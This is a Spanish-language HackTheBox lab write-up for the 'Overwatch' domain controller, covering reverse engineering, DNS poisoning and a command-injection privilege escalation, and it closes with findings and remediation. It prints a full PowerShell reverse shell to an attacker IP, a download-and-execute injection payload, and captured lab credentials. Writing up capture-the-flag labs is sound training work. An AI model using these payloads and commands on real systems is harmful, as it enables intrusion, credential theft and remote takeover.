HackTheBox Active Directory Windows Server 2022 11 May 2026

Overwatch

overwatch.htb — NT AUTHORITY\SYSTEM via .NET Reverse Engineering + DNS Poisoning + WCF Command Injection

Target IP10.129.244.81
Domainoverwatch.htb
HostnameS200401.overwatch.htb
OSWindows Server 2022
Findings7 (5 High, 1 Med, 1 Info)
ResultadoNT AUTHORITY\SYSTEM
AutorOriol Jaen Mirabet

Resumen Ejecutivo

Overwatch es una máquina HackTheBox que representa un Windows Server 2022 actuando como Controlador de Dominio bajo el dominio overwatch.htb. Es una caja que recompensa la paciencia y el pensamiento lateral: la superficie de ataque inicial no es obvia y requiere encadenar múltiples técnicas que van desde la ingeniería inversa hasta el abuso de permisos de Active Directory.

El punto de entrada es inesperado: un recurso SMB anónimo expone el binario de una aplicación de monitorización interna. Al descompilar ese binario con dnSpy se obtienen credenciales hardcodeadas y se identifica un vector de inyección de comandos que más adelante será la clave para SYSTEM. Las credenciales extraídas permiten autenticarse en MSSQL, donde se descubre un servidor enlazado no resuelto — la señal perfecta para un ataque de envenenamiento DNS. Inyectando un registro A falso vía BloodyAD y levantando Responder, se capturan credenciales en texto claro de una segunda cuenta, logrando acceso WinRM. La escalada final explota el endpoint WCF KillProcess() del mismo binario que se analizó en la fase 2, cerrando el círculo con una reverse shell como NT AUTHORITY\SYSTEM.

Attack Path
SMB anónimo → Reverse Engineering (.NET / dnSpy) → Credenciales hardcoded → MSSQL linked server → DNS poisoning (BloodyAD) → Credential capture (Responder) → WinRM → WCF KillProcess() injection → SYSTEM

Nmap — Fingerprinting del Controlador de Dominio

Fase 01 · Port Scan
Enumeración completa de puertos y detección de servicios

El primer paso siempre es el mismo: un escaneo SYN rápido sobre todos los 65535 puertos para obtener el mapa completo de la superficie de ataque, seguido de un segundo escaneo más lento con detección de versión y scripts NSE sobre los puertos abiertos.

# Fase 1: Escaneo rápido de todos los puertos
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.244.81 -oG allports

PORT      STATE  SERVICE
53/tcp    open   domain
88/tcp    open   kerberos-sec
135/tcp   open   msrpc
139/tcp   open   netbios-ssn
389/tcp   open   ldap
445/tcp   open   microsoft-ds
464/tcp   open   kpasswd5
593/tcp   open   http-rpc-epmap
636/tcp   open   ldapssl
3268/tcp  open   globalcatLDAP
3269/tcp  open   globalcatLDAPssl
3389/tcp  open   ms-wbt-server
5985/tcp  open   wsman
6520/tcp  open   unknown   ← puerto no estándar, interesante
9389/tcp  open   adws

El patrón de puertos es inconfundible: DNS, Kerberos, LDAP, SMB, WinRM, ADWS... esto es un Domain Controller. Pero hay un detalle que llama la atención inmediatamente: el puerto 6520 aparece como "unknown". MSSQL suele escuchar en el 1433; aquí alguien lo ha movido a un puerto no estándar, lo cual es una medida de seguridad por oscuridad típica de configuraciones mal diseñadas.

# Fase 2: Detección de versiones y scripts NSE
nmap -p 53,88,135,139,389,445,464,636,3268,3269,3389,5985,6520,9389 \
     -sCV --min-rate 1000 -Pn -n 10.129.244.81 -oN targeted

# Output relevante
389/tcp   open  ldap       Microsoft Windows AD LDAP
  ldapServiceName: overwatch.htb:s200401$@OVERWATCH.HTB
  rootDomainNamingContext: DC=overwatch,DC=htb

3389/tcp  open  ms-wbt-server
  rdp-ntlm-info:
    DNS_Domain_Name: overwatch.htb
    DNS_Computer_Name: S200401.overwatch.htb
    NetBIOS_Computer_Name: S200401
    Product_Version: 10.0.20348       ← Windows Server 2022

6520/tcp  open  ms-sql-s   Microsoft SQL Server 2022 16.00.1000.00; RTM
  ms-sql-ntlm-info:
    Target_Name: OVERWATCH
    DNS_Domain_Name: overwatch.htb
    DNS_Computer_Name: S200401.overwatch.htb

El banner NTLM de RDP revela el dominio (overwatch.htb) y el nombre del equipo (S200401.overwatch.htb). El puerto 6520 confirma ser MSSQL Server 2022. Añado ambos al /etc/hosts antes de continuar.

# Resolución DNS local
echo "10.129.244.81  overwatch.htb S200401.overwatch.htb" >> /etc/hosts
Por qué importa el puerto 6520
MSSQL en un DC (no en un servidor SQL dedicado) combinado con un puerto no estándar sugiere que es un servicio auxiliar interno — probablemente una aplicación que lo usa para logging o monitorización. Eso lo convierte en un objetivo secundario valioso: las aplicaciones internas suelen tener credenciales hardcodeadas o configuraciones laxas.

SMB Anónimo — Descubrimiento del Binario de Monitorización

Fase 02 · SMB Enumeration
Null session y acceso al share software$

Con SMB abierto, el primer intento siempre es enumerar shares con sesión nula (sin credenciales). En entornos modernos esto suele fallar, pero vale la pena el intento — y en este caso da resultado.

# Listar shares con sesión nula
smbclient -L \\\\10.129.244.81 -U ''

Password for [WORKGROUP\]: ← enter vacío

  Sharename       Type      Comment
  ---------       ----      -------
  software$       Disk
  SYSVOL          Disk      Logon server share
  NETLOGON        Disk      Logon server share
  IPC$            IPC       Remote IPC

Hay un share no estándar: software$. El signo de dólar al final no lo convierte en oculto (eso es solo en Windows explorer), pero sí indica que no es un share por defecto del sistema — alguien lo creó manualmente. Lo intento acceder sin credenciales:

smbclient \\\\10.129.244.81\\software$ -U ''

smb: \> ls
  .           D         0
  ..          D         0
  Monitoring  D         0

smb: \> cd Monitoring\
smb: \Monitoring\> ls
  overwatch.exe          AH   9728
  overwatch.exe.config   AH   2163
  overwatch.pdb          AH  30208
  EntityFramework.dll    AH  ...
  System.Data.SQLite.dll AH  ...
  System.Management.Automation.dll AH  ...

Acceso completo sin autenticación. El directorio Monitoring/ contiene lo que parece una aplicación de monitorización .NET completa: el ejecutable, la base de datos de símbolos PDB (que facilita enormemente el debugging y la ingeniería inversa), y varias DLLs de dependencia. Lo monto localmente para trabajar con comodidad:

# Montar el share para acceso directo
mkdir -p /tmp/overwatch/monitoring
mount -t cifs //10.129.244.81/software$ /tmp/overwatch/monitoring \
      -o username=guest,password=''

# O simplemente descargar todo
smbclient \\\\10.129.244.81\\software$ -U '' \
          -c 'recurse ON; prompt OFF; mget *'
F-01 · High · CWE-284
El share software$ es accesible por cualquier usuario no autenticado. Exponer el binario compilado de una aplicación interna junto con sus símbolos de debug (.pdb) es equivalente a entregar el código fuente. Este único fallo habilita toda la cadena de ataque posterior.

dnSpy — Análisis del Binario .NET

Fase 03 · .NET Decompilation
Descompilación con dnSpy y extracción de secrets

Los binarios .NET son especialmente "reversibles" porque el bytecode CIL (Common Intermediate Language) retiene nombres de clases, métodos y variables, lo que permite a dnSpy reconstruir código C# prácticamente idéntico al original. Con el archivo .pdb presente, la experiencia es aún mejor — tenemos información de debug completa.

Abro overwatch.exe en dnSpy y navego por el árbol de assemblies. La estructura de clases es inmediatamente visible en el panel izquierdo: hay un Program, un IMonitoringService y un MonitoringService. Me centro en esta última.

CheckEdgeHistory() — Credenciales hardcodeadas

El primer hallazgo está en el método CheckEdgeHistory(). Este método parece leer el historial de navegación de Microsoft Edge (SQLite) y volcarlo en una base de datos SQL Server para logging de seguridad. El problema es obvio en la línea 14:

// Método CheckEdgeHistory — clase MonitoringService
// Token: 0x0600000D  RVA: 0x00002370
private static void CheckEdgeHistory(object sender, ElapsedEventArgs e)
{
  string text = Path.Combine(
    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
    "Microsoft\\Edge\\User Data\\Default\\History");

  if (!File.Exists(text)) return;

  string tempFileName = Path.GetTempFileName();
  File.Copy(text, tempFileName, true);

  try {
    // ← AQUÍ: cadena de conexión con credenciales en texto claro
    using (SqlConnection sqlConnection = new SqlConnection(
      "Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;"))
    {
      sqlConnection.Open();
      using (SqlCommand sqlCommand = new SqlCommand())
      {
        sqlCommand.Connection = sqlConnection;
        SQLiteConnection sqliteConnection = new SQLiteConnection(
          "Data Source=" + tempFileName + ";Version=3;");
        sqliteConnection.Open();
        SQLiteDataReader sqliteDataReader = new SQLiteCommand(
          "SELECT url, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 5",
          sqliteConnection).ExecuteReader();
        while (sqliteDataReader.Read())
        {
          string str = sqliteDataReader["url"].ToString();
          string commandText = "INSERT INTO EventLog (Timestamp, EventType, Details) " +
                               "VALUES (GETDATE(), 'URLVisit', '" + str + "')";
          sqlCommand.CommandText = commandText;
          sqlCommand.ExecuteNonQuery();
        }
        sqliteConnection.Close();
      }
    }
  }
  catch { }
  finally { File.Delete(tempFileName); }
}

Credenciales de SQL Server hardcodeadas directamente en el código: sqlsvc : TI0LKcfHzZw1Vv. Cualquier persona que pueda leer el binario — lo cual en este caso incluye a cualquier usuario no autenticado — obtiene credenciales de dominio válidas.

KillProcess() — Vector de inyección de comandos

El segundo hallazgo es aún más crítico. El método KillProcess() recibe un nombre de proceso del caller y ejecuta Stop-Process de PowerShell. El problema: concatena el parámetro directamente en la cadena de comandos sin ningún tipo de validación o sanitización:

// Método KillProcess — clase MonitoringService
public string KillProcess(string processName)
{
  // ← El parámetro processName se inyecta directamente en el script PowerShell
  string scriptContents = "Stop-Process -Name " + processName + " -Force";
  string result;
  try {
    using (Runspace runspace = RunspaceFactory.CreateRunspace())
    {
      runspace.Open();
      using (Pipeline pipeline = runspace.CreatePipeline())
      {
        pipeline.Commands.AddScript(scriptContents);
        pipeline.Commands.Add("Out-String");
        Collection<PSObject> collection = pipeline.Invoke();
        runspace.Close();
        StringBuilder stringBuilder = new StringBuilder();
        foreach (PSObject psobject in collection)
          stringBuilder.AppendLine(psobject.ToString());
        result = stringBuilder.ToString();
      }
    }
  }
  catch (Exception ex) { result = "Error: " + ex.Message; }
  return result;
}

Si envío "notepad; whoami" como processName, el script que se ejecuta es Stop-Process -Name notepad; whoami -Force. El punto y coma actúa como separador de comandos en PowerShell, lo que significa ejecución arbitraria de código. Anoto esto para la fase de escalada — todavía no tengo acceso al servicio WCF, pero sé exactamente cómo abusarlo cuando llegue el momento.

F-02 · High · CWE-798 — F-05 · Critical · CWE-78
CheckEdgeHistory() expone credenciales hardcodeadas (CVSS 8.8). KillProcess() permite command injection sin autenticación a cualquier usuario que pueda contactar el endpoint WCF (CVSS 9.8). Ambos en el mismo binario accesible anónimamente.

MSSQL — Enumeración con las credenciales extraídas

Fase 04 · MSSQL Access
Autenticación y enumeración de Linked Servers

Con las credenciales sqlsvc:TI0LKcfHzZw1Vv me autentico contra el servicio MSSQL en el puerto 6520. Uso mssqlclient.py de Impacket con autenticación Windows (-windows-auth) porque la cuenta es una cuenta de dominio.

mssqlclient.py overwatch.htb/sqlsvc:TI0LKcfHzZw1Vv@10.129.244.81 \
               -p 6520 -windows-auth

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] ACK: Result: 1 - Microsoft SQL Server (160 10000)
[!] Press help for extra shell commands

SQL (overwatch\sqlsvc  dbo@master)>

Sesión activa. El primer comando interesante en MSSQL cuando se busca movimiento lateral es sp_linkedservers — muestra las conexiones configuradas a otros servidores SQL:

SQL> EXEC sp_linkedservers;

SRV_NAME              SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE
--------------------  -----------------  ------------  ----------------
S200401\SQLEXPRESS    SQLNCLI            SQL Server    S200401\SQLEXPRESS
SQL07                 SQLNCLI            SQL Server    SQL07

Hay un servidor enlazado llamado SQL07. Los linked servers en SQL Server son conexiones preconfiguradas a otras instancias SQL, muy usados en entornos empresariales para consultas distribuidas. Cuando SQL Server intenta conectarse a un linked server, envía credenciales de autenticación al destino.

La clave aquí es: ¿existe SQL07 en DNS? Hago la resolución:

# Comprobar si SQL07 resuelve en DNS
nslookup SQL07 10.129.244.81
Server:  10.129.244.81
Address: 10.129.244.81#53

** server can't find SQL07: NXDOMAIN

SQL07 no existe en DNS. Esto significa que cada vez que SQL Server intente conectarse a ese linked server, fallará la resolución — pero antes de fallar, intentará autenticarse. Si puedo crear ese registro DNS apuntando a mi máquina, capturaré esas credenciales.

F-06 · Medium — Linked Server no resuelto
Un linked server apuntando a un nombre DNS inexistente es una señal de alarma desde el punto de vista de seguridad. Indica que el servidor destino puede haber sido dado de baja, pero la configuración no se ha limpiado. En este caso, ese "hueco" es exactamente lo que necesitamos para el ataque de DNS poisoning.

BloodyAD — Inyección de registro DNS en Active Directory

Fase 05 · DNS Poisoning via ADIDNS
Abuso de permisos WRITE en AD para crear un registro A falso

Active Directory Integrated DNS (ADIDNS) almacena los registros DNS directamente en objetos de AD. Por defecto, los usuarios autenticados tienen permiso para añadir nuevos registros DNS bajo la zona del dominio — esto es por diseño, para facilitar el registro dinámico de equipos. La herramienta BloodyAD permite auditar y abusar de permisos AD sin necesitar privilegios elevados.

Primero verifico qué permisos de escritura tiene la cuenta sqlsvc en AD:

bloodyAD -d S200401.overwatch.htb -u sqlsvc -p TI0LKcfHzZw1Vv \
         --dc-ip 10.129.244.81 get writable

distinguishedName: CN=sqlsvc,CN=Users,DC=overwatch,DC=htb
  attribute: member  permission: WRITE

distinguishedName: DC=overwatch,DC=htb
  attribute: dnsNode  permission: WRITE

Confirmado: sqlsvc tiene permisos WRITE sobre nodos DNS del dominio. Esto significa que puede crear nuevos registros A. Inyecto un registro que apunta SQL07 a mi IP de atacante (la interfaz tun0 de la VPN HTB):

# Añadir registro A: SQL07 → 10.10.15.115 (mi tun0)
bloodyAD -d overwatch.htb -u sqlsvc -p TI0LKcfHzZw1Vv \
         --dc-ip 10.129.244.81 add dnsRecord SQL07 10.10.15.115

[+] SQL07 has been successfully added

# Verificar que el registro existe ahora
nslookup SQL07 10.129.244.81
Server:  10.129.244.81
Address: 10.129.244.81#53

Name:    SQL07.overwatch.htb
Address: 10.10.15.115

El registro DNS está creado. Ahora cuando SQL Server en S200401 intente conectarse al linked server SQL07, resolverá a mi IP. La siguiente pregunta es: ¿cómo se autentica SQL Server a un linked server? Aquí es donde entra Responder.

F-03 · High · CWE-269 — DNS WRITE via sqlsvc
Una cuenta de servicio SQL no debería tener permisos de escritura sobre la zona DNS de AD. Este tipo de permiso es un vector clásico para ataques MitM y credential capture. La segmentación por niveles de AD (Tier Model) existe precisamente para evitar que cuentas de servicio de aplicación tengan acceso a objetos de infraestructura como DNS.

Responder — Captura de credenciales MSSQL en texto claro

Fase 06 · Cleartext Credential Capture
Interceptar la autenticación del Linked Server SQL07

Responder es una herramienta que actúa como servidor falso para múltiples protocolos (SMB, HTTP, MSSQL, FTP, LDAP...) y captura los intentos de autenticación dirigidos hacia él. Normalmente captura hashes NTLMv2, pero en este caso esperamos credenciales en texto claro porque los linked servers MSSQL pueden estar configurados para autenticación SQL (no integrada), que transmite usuario y contraseña sin cifrar.

Levanto Responder en la interfaz tun0 y luego provoco que SQL Server intente conectarse al linked server:

# Terminal 1: Responder escuchando en tun0
sudo responder -I tun0 -w -d
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

[+] Listening for events...

# Terminal 2: Desde mssqlclient, trigger del linked server
SQL> EXEC ('select 1') AT [SQL07];
# Responder captura la conexión entrante
[MSSQL] Cleartext Client   : 10.129.244.81
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx

Las credenciales de sqlmgmt capturadas en texto claro. El linked server estaba configurado con autenticación SQL estándar (usuario/contraseña), no con autenticación Windows/Kerberos. Cuando SQL Server intentó conectarse a "SQL07" — que ahora apunta a mi máquina — Responder actuó como servidor MSSQL y recibió las credenciales sin cifrar.

F-04 · High · CWE-312 — MSSQL cleartext auth
Los linked servers deberían usar autenticación Kerberos (Windows Integrated) o al menos TLS para la transmisión de credenciales. La autenticación SQL estándar transmite usuario y contraseña en claro sobre el wire — una vez que el DNS está envenenado, la captura es trivial.

WinRM — Acceso inicial y enumeración post-explotación

Fase 07 · WinRM Shell
Shell con Evil-WinRM → user.txt → Enumeración del sistema

WinRM (puerto 5985) estaba abierto desde el escaneo inicial. Pruebo las credenciales capturadas:

evil-winrm -i 10.129.244.81 -u sqlmgmt -p bIhBbzMMnB82yx

Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint

# User flag
*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> type user.txt
62a1f3fb06c2c857cf2fefabcada7c40

Shell activa. Antes de ir directamente a la escalada, enumero el sistema para entender en qué contexto estoy y qué hay en ejecución:

# Quién soy y qué privilegios tengo
*Evil-WinRM* PS> whoami /all
User Name        : overwatch\sqlmgmt
...
Privileges:
  SeChangeNotifyPrivilege      Enabled
  SeIncreaseWorkingSetPrivilege Enabled

# Qué procesos están corriendo en el sistema
*Evil-WinRM* PS> Get-Process | Select-Object Name, Id, Path | ft -Auto

Name             Id    Path
----             --    ----
...
overwatch       4700   C:\Program Files\Monitoring\overwatch.exe
...

# Conexiones de red activas
*Evil-WinRM* PS> netstat -ano | findstr LISTENING

  TCP   0.0.0.0:5985    LISTENING   4
  TCP   0.0.0.0:6520    LISTENING   ...
  TCP   0.0.0.0:8000    LISTENING   4700   ← overwatch.exe escucha en 8000

overwatch.exe está corriendo con PID 4700 y escucha en el puerto 8000. Verifico bajo qué usuario se ejecuta ese proceso:

*Evil-WinRM* PS> Get-WmiObject Win32_Process -Filter "ProcessId=4700" |
  Select-Object Name, ProcessId, @{N='Owner';E={$_.GetOwner().User}}

Name           ProcessId  Owner
----           ---------  -----
overwatch.exe  4700       SYSTEM

overwatch.exe corre como SYSTEM. Y ese proceso expone el servicio WCF con el método KillProcess() vulnerable que identifiqué durante el análisis con dnSpy. La escalada está servida.

WCF — Descubrimiento y análisis del endpoint SOAP

Fase 08 · WCF Service Analysis
Navegación al WSDL y comprensión de la interfaz del servicio

WCF (Windows Communication Foundation) es el framework de Microsoft para crear servicios web. El endpoint en el puerto 8000 publica un servicio SOAP. Lo primero es obtener el WSDL (Web Services Description Language) — el "contrato" que define los métodos disponibles y sus parámetros:

# Obtener el WSDL del servicio WCF
*Evil-WinRM* PS> Invoke-WebRequest "http://overwatch.htb:8000/MonitorService?singleWsdl" |
  Select-Object -ExpandProperty Content | Out-String

# Output relevante del WSDL
<wsdl:portType name="IMonitoringService">
  <wsdl:operation name="KillProcess">
    <wsdl:input message="tns:IMonitoringService_KillProcess_InputMessage"/>
    <wsdl:output message="tns:IMonitoringService_KillProcess_OutputMessage"/>
  </wsdl:operation>
  <wsdl:operation name="LogEvent">...</wsdl:operation>
  <wsdl:operation name="StartMonitoring">...</wsdl:operation>
  <wsdl:operation name="StopMonitoring">...</wsdl:operation>
</wsdl:portType>

El WSDL confirma la existencia de KillProcess y los demás métodos que ya conocía del análisis dnSpy. PowerShell tiene un cmdlet nativo para crear un proxy de servicio web que genera automáticamente las clases necesarias para llamar a los métodos del WSDL: New-WebServiceProxy.

WCF Command Injection → NT AUTHORITY\SYSTEM

Fase 09 · PrivEsc via WCF KillProcess()
Inyección de reverse shell en el parámetro processName

El exploit es directo: KillProcess() construye el comando PowerShell como "Stop-Process -Name " + processName + " -Force". Si inyecto un punto y coma en processName, puedo añadir comandos adicionales que se ejecutarán en el contexto de SYSTEM.

Preparo el payload. Uso un script PowerShell de reverse shell clásico, lo sirvo desde un servidor HTTP python en mi máquina, y lo ejecuto mediante download-and-execute:

# En mi máquina atacante — generar shell.ps1 (PowerShell reverse shell)
cat shell.ps1
$client = New-Object System.Net.Sockets.TCPClient('10.10.15.115', 443)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
  $sendback = (iex $data 2>&1 | Out-String)
  $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
  $stream.Write($sendbyte,0,$sendbyte.Length)
  $stream.Flush()
}
$client.Close()

# Terminal 1: Servidor HTTP para servir shell.ps1
python3 -m http.server 80

# Terminal 2: Listener de reverse shell
nc -nlvp 443
# Desde la shell WinRM como sqlmgmt — construir el proxy y lanzar el payload
*Evil-WinRM* PS> $wsdl = "http://overwatch.htb:8000/MonitorService?singleWsdl"
*Evil-WinRM* PS> $proxy = New-WebServiceProxy -Uri $wsdl -Namespace Monitoring

# Payload: "dummy" termina el proceso (aunque falle) y el punto y coma inicia el siguiente comando
*Evil-WinRM* PS> $payload = "dummy; iex (New-Object Net.WebClient).DownloadString('http://10.10.15.115/shell.ps1') #"
*Evil-WinRM* PS> $proxy.KillProcess($payload)
# Respuesta en el listener nc
Listening on 0.0.0.0 443
connect to [10.10.15.115] from (UNKNOWN) [10.129.244.81] 59275

PS C:\Windows\system32> whoami
nt authority\system

PS C:\Windows\system32> hostname
S200401

PS C:\Users\Administrator\Desktop> type root.txt
9a6ea3cdd5e3235b48224790b62790c2

Shell como SYSTEM. El payload funciona exactamente como se analizó: PowerShell interpreta el punto y coma como separador de comandos, ejecuta Stop-Process -Name dummy (que falla silenciosamente porque "dummy" no es un proceso válido), y luego ejecuta el downloader que descarga y ejecuta shell.ps1 desde mi servidor HTTP. El # al final comenta el resto del string (-Force) para evitar errores de sintaxis.

F-05 · Critical · CWE-78 — CVSS 9.8
OS Command Injection sin restricción de red ni autenticación, ejecutado en el contexto de SYSTEM. El fix es trivial: reemplazar la concatenación de strings por System.Diagnostics.Process.Kill() con un argumento validado por whitelist. Ningún servicio de monitorización debería ejecutarse como SYSTEM.

Hallazgos Técnicos

#SeveridadHallazgoCVSS 3.1CWEMITRE
F-01 High SMB anónimo — lectura sin autenticación del share software$ 7.5CWE-284T1135, T1083
F-02 High Credenciales hardcodeadas en overwatch.exe (sqlsvc) 8.8CWE-798T1552.001, T1078.002
F-03 High Permisos WRITE DNS en AD para cuenta de servicio sqlsvc 8.1CWE-269T1584.002, T1557
F-04 High Linked server MSSQL con auth en texto claro (SQL07) 8.8CWE-312T1557, T1040
F-05 Critical OS Command Injection en WCF KillProcess() ejecutando como SYSTEM 9.8CWE-78T1059.001, T1543.003
F-06 Medium Linked server MSSQL sin resolver (SQL07) — superficie de ataque DNS T1557
F-07 Info Sin actividad de detección/respuesta durante todo el engagement CWE-693

Credenciales Obtenidas

# sqlsvc — Hardcodeada en CheckEdgeHistory() de overwatch.exe
sqlsvc : TI0LKcfHzZw1Vv ← MSSQL port 6520, Windows Auth

# sqlmgmt — Capturada en texto claro por Responder vía DNS poisoning
sqlmgmt : bIhBbzMMnB82yx ← WinRM 5985
# Flags
user.txt C:\Users\sqlmgmt\Desktop\user.txt
62a1f3fb06c2c857cf2fefabcada7c40

root.txt C:\Users\Administrator\Desktop\root.txt
9a6ea3cdd5e3235b48224790b62790c2

Resumen de Remediación

  • [Inmediata] Rotar contraseñas de sqlsvc y sqlmgmt inmediatamente. Revisar si están reutilizadas en otros sistemas.
  • [Inmediata] Parchear KillProcess() en overwatch.exe: reemplazar concatenación de strings PowerShell por System.Diagnostics.Process.Kill(). Validar input con whitelist alfanumérica estricta.
  • [Inmediata] Cambiar el usuario de ejecución de overwatch.exe de SYSTEM a una cuenta de servicio con mínimo privilegio. Restringir el acceso de red al puerto 8000 solo a hosts de gestión.
  • [Corto plazo] Deshabilitar acceso SMB anónimo/invitado. Requerir autenticación para todos los shares. Eliminar binarios compilados, PDB y dependencias de recursos de red — usar despliegue versionado en lugar de shares abiertos.
  • [Corto plazo] Eliminar permisos WRITE DNS de sqlsvc en AD. Aplicar segmentación por niveles (Tier Model): las cuentas de servicio de aplicación no deben tener acceso a objetos de infraestructura. Monitorizar cambios DNS en AD (Event ID 5137).
  • [Corto plazo] Habilitar cifrado TLS obligatorio para todos los linked servers MSSQL (Force Encryption = Yes). Migrar autenticación a Kerberos en lugar de SQL auth. Limpiar linked servers obsoletos.
  • [Medio plazo] Implementar pipeline de escaneo de secretos en CI/CD para detectar credenciales hardcodeadas antes de compilar. Usar Windows Credential Manager, DPAPI o HashiCorp Vault para secretos de aplicación.
  • [Medio plazo] Desplegar SIEM + Sysmon: alertas en Event ID 5137 (DNS changes), 4662 (AD object WRITE), Sysmon Event 3 (conexiones MSSQL salientes inesperadas).
Active Directory SMB Anonymous .NET Reverse Engineering dnSpy MSSQL Linked Server DNS Poisoning BloodyAD Responder WCF Injection PowerShell HackTheBox T1135 T1552.001 T1584.002 T1557 T1059.001